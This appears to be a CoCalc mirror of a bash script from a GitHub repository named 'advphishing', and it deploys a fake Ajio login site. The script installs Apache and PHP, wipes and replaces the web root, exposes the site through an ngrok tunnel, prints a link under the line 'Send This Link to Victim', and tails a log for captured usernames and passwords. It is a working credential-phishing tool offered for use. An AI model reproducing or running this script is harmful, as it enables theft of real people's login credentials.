Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
ignitetch
GitHub Repository: ignitetch/advphishing
Path: blob/master/sites/ajio/ajio.sh
738 views
1
#!/bin/bash
2
3
stop() {
4
5
checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
6
if [[ $checkngrok == *'ngrok'* ]]; then
7
pkill -f -2 ngrok > /dev/null 2>&1
8
killall -2 ngrok > /dev/null 2>&1
9
fi
10
if [[ -e sendlink ]]; then
11
rm -rf sendlink
12
fi
13
14
}
15
16
17
sleep 2
18
# spinner
19
spinlong ()
20
{
21
bar=" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
22
barlenght=${#bar}
23
i=o
24
while ((i < 100 )); do
25
n=$((i*barlenght / 100 ))
26
printf "\e[00;32m\r[%-${barlenght}s]\e[00m" "${bar:0:n}"
27
((i += RANDOM%5+2))
28
sleep 0.4
29
done
30
}
31
32
33
#clolors
34
white='\e[1;37m'
35
green='\e[0;32m'
36
blue='\e[1;34m'
37
red='\e[1;31m'
38
yellow='\e[1;33m'
39
echo ""
40
echo ""
41
clear
42
43
./Logo.sh
44
echo ""
45
echo ""
46
echo -e $'\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m]\e[0m\e[1;32m >> DOWNLOAD REQUIREMENTS >> \e[0m'
47
sleep 2
48
echo""
49
sudo apt-get install apache2
50
apt install php
51
apt install jq
52
apt install tail
53
apt install curl
54
systemctl start apache2
55
apt install xterm
56
apt install gnome-terminal
57
systemctl restart apache2.service
58
mkdir /var
59
mkdir /var/www
60
mkdir /var/www/html
61
mv /var/www/html/* /var/www/
62
rm -rf /var/www/html/*
63
cp -R * /var/www/html/
64
cd ..
65
clear
66
cd /var/www/html/
67
chmod +x *
68
chmod 7777 *
69
sleep 3
70
clear
71
./ngrok http 80 > /dev/null &
72
73
echo ""
74
echo -e $'\e[1;31m[\e[0m\e[1;77m+\e[0m\e[1;33m]\e[0m\e[1;92m >> WAIT FOR NGROK UP !\e[0m'
75
sleep 25
76
echo ""
77
clear
78
./Logo.sh
79
echo ""
80
echo -e $yellow "// [ Send This Link to Victim ] //"
81
echo ""
82
echo -e $white
83
curl -s localhost:4040/api/tunnels | jq -r .tunnels[1].public_url
84
curl -s localhost:4040/api/tunnels | jq -r .tunnels[0].public_url
85
curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io"
86
echo ""
87
echo ""
88
echo -e $green "// [ CREDENTIAL ] //"
89
echo ""
90
tail -f log.txt | grep -e "username" -e "password"
91
92
93
94
;;
95
96
97